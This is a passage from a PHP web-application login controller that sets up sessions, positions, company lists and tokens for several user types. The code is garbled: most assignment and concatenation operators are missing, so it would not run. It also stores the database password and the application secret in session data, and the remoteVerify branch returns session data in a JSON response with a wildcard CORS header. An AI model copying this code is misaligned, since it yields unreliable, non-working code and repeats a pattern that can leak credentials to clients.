  4912.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4913.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4914.                     }
  4915.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4916.                         ->findOneBy(
  4917.                             array(
  4918.                                 'userId' => $user->getUserId(),
  4919.                                 'workingStatus' => 1
  4920.                             )
  4921.                         );
  4922.                     if ($currentTask) {
  4923.                         $currentTaskId $currentTask->getId();
  4924.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4925.                     }
  4926.                     $userId $user->getUserId();
  4927.                     $userCompanyId 1;
  4928.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4929.                     $userEmail $user->getEmail();
  4930.                     $userImage $user->getImage();
  4931.                     $userFullName $user->getName();
  4932.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4933.                     $position_list_array json_decode($user->getPositionIds(), true);
  4934.                     if ($position_list_array == null$position_list_array = [];
  4935.                     $filtered_pos_array = [];
  4936.                     foreach ($position_list_array as $defPos)
  4937.                         if ($defPos != '' && $defPos != 0)
  4938.                             $filtered_pos_array[] = $defPos;
  4939.                     $position_list_array $filtered_pos_array;
  4940.                     if (!empty($position_list_array))
  4941.                         foreach ($position_list_array as $defPos)
  4942.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4943.                                 $curr_position_id $defPos;
  4944.                             }
  4945.                     $userDefaultRoute $user->getDefaultRoute();
  4946. //                    $userDefaultRoute = 'MATHA';
  4947.                     $allModuleAccessFlag 1;
  4948.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4949.                         $userDefaultRoute '';
  4950. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4951.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4952.                     if (isset($companyList[$userCompanyId])) {
  4953.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4954.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4955.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4956.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4957.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4958.                     }
  4959.                     if ($allModuleAccessFlag == 1)
  4960.                         $prohibit_list_array = [];
  4961.                     else if ($curr_position_id != 0)
  4962.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4963.                     $loginID $this->get('user_module')->addUserLoginLog(
  4964.                         $userId,
  4965.                         $request->server->get("REMOTE_ADDR"),
  4966.                         $curr_position_id
  4967.                     );
  4968.                     $appIdList json_decode($user->getUserAppIdList());
  4969.                     $branchIdList json_decode($user->getUserBranchIdList());
  4970.                     if ($branchIdList == null$branchIdList = [];
  4971.                     $branchId $user->getUserBranchId();
  4972.                     if ($appIdList == null$appIdList = [];
  4973. //
  4974. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4975. //                        $appIdList[] = $user->getUserAppId();
  4976. //
  4977. //                    foreach ($appIdList as $currAppId) {
  4978. //                        if ($currAppId == $user->getUserAppId()) {
  4979. //
  4980. //                            foreach ($company_id_list as $index_company => $company_id) {
  4981. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4982. //                                $app_company_index = $currAppId . '_' . $company_id;
  4983. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4984. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4985. //                            }
  4986. //                        } else {
  4987. //
  4988. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4989. //                                $this->getDoctrine()->getManager('company_group'),
  4990. //                                $gocEnabled,
  4991. //                                $currAppId
  4992. //                            );
  4993. //                            if (!empty($dataToConnect)) {
  4994. //                                $connector = $this->container->get('application_connector');
  4995. //                                $connector->resetConnection(
  4996. //                                    'default',
  4997. //                                    $dataToConnect['dbName'],
  4998. //                                    $dataToConnect['dbUser'],
  4999. //                                    $dataToConnect['dbPass'],
  5000. //                                    $dataToConnect['dbHost'],
  5001. //                                    $reset = true
  5002. //                                );
  5003. //                                $em = $this->getDoctrine()->getManager();
  5004. //
  5005. //                                $companyList = Company::getCompanyListWithImage($em);
  5006. //                                foreach ($companyList as $c => $dta) {
  5007. //                                    //                                $company_id_list[]=$c;
  5008. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  5009. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  5010. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  5011. //                                    $app_company_index = $currAppId . '_' . $c;
  5012. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5013. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5014. //                                }
  5015. //                            }
  5016. //                        }
  5017. //                    }
  5018.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  5019.                     // General User
  5020.                     $employeeId 0;
  5021.                     $currentMonthHolidayList = [];
  5022.                     $currentHolidayCalendarId 0;
  5023.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5024.                         ->findOneBy(
  5025.                             array(
  5026.                                 'userId' => $user->getUserId()
  5027.                             )
  5028.                         );
  5029.                     if ($employeeObj) {
  5030.                         $employeeId $employeeObj->getEmployeeId();
  5031.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5032.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5033.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5034.                     }
  5035.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  5036.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  5037.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  5038.                     $session->set(UserConstants::USER_ID$user->getUserId());
  5039.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  5040.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  5041.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  5042.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  5043.                     $session->set(UserConstants::USER_NAME$user->getName());
  5044.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5045.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  5046.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  5047.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  5048.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  5049.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  5050.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  5051.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  5052.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  5053.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  5054.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  5055.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  5056.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5057.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5058.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5059.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5060.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5061.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5062.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5063.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5064.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5065.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5066.                         return $this->redirectToRoute("user_login_position");
  5067.                     } else {
  5068.                         $PL json_decode($user->getPositionIds(), true);
  5069.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5070.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5071.                         $loginID $this->get('user_module')->addUserLoginLog(
  5072.                             $session->get(UserConstants::USER_ID),
  5073.                             $request->server->get("REMOTE_ADDR"),
  5074.                             $PL[0]
  5075.                         );
  5076.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5077.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5078.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5079.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5080.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5081.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5082.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5083.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5084.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5085.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5086.                         $appIdList json_decode($user->getUserAppIdList());
  5087.                         if ($appIdList == null$appIdList = [];
  5088.                         $companyIdListByAppId = [];
  5089.                         $companyNameListByAppId = [];
  5090.                         $companyImageListByAppId = [];
  5091.                         if (!in_array($user->getUserAppId(), $appIdList))
  5092.                             $appIdList[] = $user->getUserAppId();
  5093.                         foreach ($appIdList as $currAppId) {
  5094.                             if ($currAppId == $user->getUserAppId()) {
  5095.                                 foreach ($company_id_list as $index_company => $company_id) {
  5096.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5097.                                     $app_company_index $currAppId '_' $company_id;
  5098.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5099.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5100.                                 }
  5101.                             } else {
  5102.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5103.                                     $this->getDoctrine()->getManager('company_group'),
  5104.                                     $gocEnabled,
  5105.                                     $currAppId
  5106.                                 );
  5107.                                 if (!empty($dataToConnect)) {
  5108.                                     $connector $this->container->get('application_connector');
  5109.                                     $connector->resetConnection(
  5110.                                         'default',
  5111.                                         $dataToConnect['dbName'],
  5112.                                         $dataToConnect['dbUser'],
  5113.                                         $dataToConnect['dbPass'],
  5114.                                         $dataToConnect['dbHost'],
  5115.                                         $reset true
  5116.                                     );
  5117.                                     $em $this->getDoctrine()->getManager();
  5118.                                     $companyList Company::getCompanyListWithImage($em);
  5119.                                     foreach ($companyList as $c => $dta) {
  5120.                                         //                                $company_id_list[]=$c;
  5121.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5122.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5123.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5124.                                         $app_company_index $currAppId '_' $c;
  5125.                                         $company_locale $companyList[$c]['locale'];
  5126.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5127.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5128.                                     }
  5129.                                 }
  5130.                             }
  5131.                         }
  5132.                         $session->set('appIdList'$appIdList);
  5133.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5134.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5135.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5136.                         $branchIdList json_decode($user->getUserBranchIdList());
  5137.                         $branchId $user->getUserBranchId();
  5138.                         $session->set('branchIdList'$branchIdList);
  5139.                         $session->set('branchId'$branchId);
  5140.                         if ($user->getAllModuleAccessFlag() == 1)
  5141.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5142.                         else
  5143.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5144.                         $session_data = array(
  5145.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5146.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5147.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5148.                             'oAuthToken' => $session->get('oAuthToken'),
  5149.                             'locale' => $session->get('locale'),
  5150.                             'firebaseToken' => $session->get('firebaseToken'),
  5151.                             'token' => $session->get('token'),
  5152.                             'firstLogin' => $firstLogin,
  5153.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5154.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5155.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5156.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5157.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5158.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5159.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5160.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5161.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5162.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5163.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5164.                             'oAuthImage' => $session->get('oAuthImage'),
  5165.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5166.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5167.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5168.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5169.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5170.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5171.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5172.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5173.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5174.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5175.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5176.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5177.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5178.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5179.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5180.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5181.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5182.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5183.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5184.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5185.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5186.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5187.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5188.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5189.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5190.                             //new
  5191.                             'appIdList' => $session->get('appIdList'),
  5192.                             'branchIdList' => $session->get('branchIdList'null),
  5193.                             'branchId' => $session->get('branchId'null),
  5194.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5195.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5196.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5197.                         );
  5198.                         $session_data $this->filterClientSessionData($session_data);
  5199.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5200.                         $session_data $tokenData['sessionData'];
  5201.                         $token $tokenData['token'];
  5202.                         $session->set('token'$token);
  5203.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5204.                             $session->set('remoteVerified'1);
  5205.                             $response = new JsonResponse(array(
  5206.                                 'uid' => $session->get(UserConstants::USER_ID),
  5207.                                 'session' => $session,
  5208.                                 'token' => $token,
  5209.                                 'success' => true,
  5210.                                 'session_data' => $session_data,
  5211.                             ));
  5212.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5213.                             return $response;
  5214.                         }
  5215.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5216.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5217.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5218.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5219.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5220.                                     return $this->redirect($red);
  5221.                                 }
  5222.                             } else {
  5223.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5224.                             }
  5225.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5226.                             return $this->redirectToRoute("dashboard");
  5227.                         else
  5228.                             return $this->redirectToRoute($user->getDefaultRoute());
  5229. //                        if ($request->server->has("HTTP_REFERER")) {
  5230. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5231. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5232. //                            }
  5233. //                        }
  5234. //
  5235. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5236. //                        if ($request->request->has('referer_path')) {
  5237. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5238. //                                return $this->redirect($request->request->get('referer_path'));
  5239. //                            }
  5240. //                        }
  5241. //                        //                    if($request->request->has('gocId')
  5242. //
  5243. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5244. //                            return $this->redirectToRoute("dashboard");
  5245. //                        else
  5246. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5247.                     }
  5248.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5249.                     $applicantId $user->getApplicantId();
  5250.                     $userId $user->getApplicantId();
  5251.                     $globalId $user->getApplicantId();
  5252.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5253.                     $isConsultant $user->getIsConsultant() == 0;
  5254.                     $isRetailer $user->getIsRetailer() == 0;
  5255.                     $retailerLevel $user->getRetailerLevel() == 0;
  5256.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5257.                     $isModerator $user->getIsModerator() == 0;
  5258.                     $isAdmin $user->getIsAdmin() == 0;
  5259.                     $userEmail $user->getOauthEmail();
  5260.                     $userImage $user->getImage();
  5261.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5262.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5263.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5264.                     $buddybeeBalance $user->getAccountBalance();
  5265.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5266.                     $userDefaultRoute 'applicant_dashboard';
  5267. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5268.                     $userAppIds = [];
  5269.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5270.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5271.                     if ($userAppIds == null$userAppIds = [];
  5272.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5273.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5274.                     foreach ($userTypesByAppIds as $aid => $accData)
  5275.                         if (in_array($aid$userSuspendedAppIds))
  5276.                             unset($userTypesByAppIds[$aid]);
  5277.                         else
  5278.                             $userAppIds[] = $aid;
  5279. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5280.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5281.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5282.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5283.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5284.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5285.                     $loginID MiscActions::addEntityUserLoginLog(
  5286.                         $em_goc,
  5287.                         $userId,
  5288.                         $applicantId,
  5289.                         1,
  5290.                         $request->server->get("REMOTE_ADDR"),
  5291.                         0,
  5292.                         $request->request->get('deviceId'''),
  5293.                         $request->request->get('oAuthToken'''),
  5294.                         $request->request->get('oAuthType'''),
  5295.                         $request->request->get('locale'''),
  5296.                         $request->request->get('firebaseToken''')
  5297.                     );
  5298.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5299.                     // General User
  5300.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5301.                         ->findOneBy(
  5302.                             array(
  5303.                                 'userId' => $user->getUserId()
  5304.                             )
  5305.                         );
  5306.                     if ($employeeObj) {
  5307.                         $employeeId $employeeObj->getEmployeeId();
  5308.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5309.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5310.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5311.                     }
  5312.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5313.                         ->findOneBy(
  5314.                             array(
  5315.                                 'userId' => $user->getUserId(),
  5316.                                 'workingStatus' => 1
  5317.                             )
  5318.                         );
  5319.                     if ($currentTask) {
  5320.                         $currentTaskId $currentTask->getId();
  5321.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5322.                     }
  5323.                     $userId $user->getUserId();
  5324.                     $userCompanyId 1;
  5325.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5326.                     $userEmail $user->getEmail();
  5327.                     $userImage $user->getImage();
  5328.                     $userFullName $user->getName();
  5329.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5330.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5331.                     $position_list_array json_decode($user->getPositionIds(), true);
  5332.                     if ($position_list_array == null$position_list_array = [];
  5333.                     $filtered_pos_array = [];
  5334.                     foreach ($position_list_array as $defPos)
  5335.                         if ($defPos != '' && $defPos != 0)
  5336.                             $filtered_pos_array[] = $defPos;
  5337.                     $position_list_array $filtered_pos_array;
  5338.                     if (!empty($position_list_array))
  5339.                         foreach ($position_list_array as $defPos)
  5340.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5341.                                 $curr_position_id $defPos;
  5342.                             }
  5343.                     $userDefaultRoute $user->getDefaultRoute();
  5344.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5345.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5346.                         $userDefaultRoute 'dashboard';
  5347.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5348.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5349.                     if (isset($companyList[$userCompanyId])) {
  5350.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5351.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5352.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5353.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5354.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5355.                     }
  5356.                     if ($allModuleAccessFlag == 1)
  5357.                         $prohibit_list_array = [];
  5358.                     else if ($curr_position_id != 0)
  5359.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5360.                     $loginID $this->get('user_module')->addUserLoginLog(
  5361.                         $userId,
  5362.                         $request->server->get("REMOTE_ADDR"),
  5363.                         $curr_position_id
  5364.                     );
  5365.                     $appIdList json_decode($user->getUserAppIdList());
  5366.                     $branchIdList json_decode($user->getUserBranchIdList());
  5367.                     if ($branchIdList == null$branchIdList = [];
  5368.                     $branchId $user->getUserBranchId();
  5369.                     if ($appIdList == null$appIdList = [];
  5370.                     if (!in_array($user->getUserAppId(), $appIdList))
  5371.                         $appIdList[] = $user->getUserAppId();
  5372.                     foreach ($appIdList as $currAppId) {
  5373.                         if ($currAppId == $user->getUserAppId()) {
  5374.                             foreach ($company_id_list as $index_company => $company_id) {
  5375.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5376.                                 $app_company_index $currAppId '_' $company_id;
  5377.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5378.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5379.                             }
  5380.                         } else {
  5381.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5382.                                 $this->getDoctrine()->getManager('company_group'),
  5383.                                 $gocEnabled,
  5384.                                 $currAppId
  5385.                             );
  5386.                             if (!empty($dataToConnect)) {
  5387.                                 $connector $this->container->get('application_connector');
  5388.                                 $connector->resetConnection(
  5389.                                     'default',
  5390.                                     $dataToConnect['dbName'],
  5391.                                     $dataToConnect['dbUser'],
  5392.                                     $dataToConnect['dbPass'],
  5393.                                     $dataToConnect['dbHost'],
  5394.                                     $reset true
  5395.                                 );
  5396.                                 $em $this->getDoctrine()->getManager();
  5397.                                 $companyList Company::getCompanyListWithImage($em);
  5398.                                 foreach ($companyList as $c => $dta) {
  5399.                                     //                                $company_id_list[]=$c;
  5400.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5401.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5402.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5403.                                     $app_company_index $currAppId '_' $c;
  5404.                                     $company_locale $companyList[$c]['locale'];
  5405.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5406.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5407.                                 }
  5408.                             }
  5409.                         }
  5410.                     }
  5411.                     if (count($position_list_array) > 1) {
  5412.                         $userForcedRoute 'user_login_position';
  5413. //                        return $this->redirectToRoute("user_login_position");
  5414.                     } else {
  5415.                     }
  5416.                 }
  5417.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5418.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5419.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5420.                 ) {
  5421.                     $session_data = array(
  5422.                         UserConstants::USER_ID => $userId,
  5423.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5424.                         UserConstants::APPLICANT_ID => $applicantId,
  5425.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5426.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5427.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5428.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5429.                         UserConstants::SUPPLIER_ID => $supplierId,
  5430.                         UserConstants::CLIENT_ID => $clientId,
  5431.                         UserConstants::USER_TYPE => $userType,
  5432.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
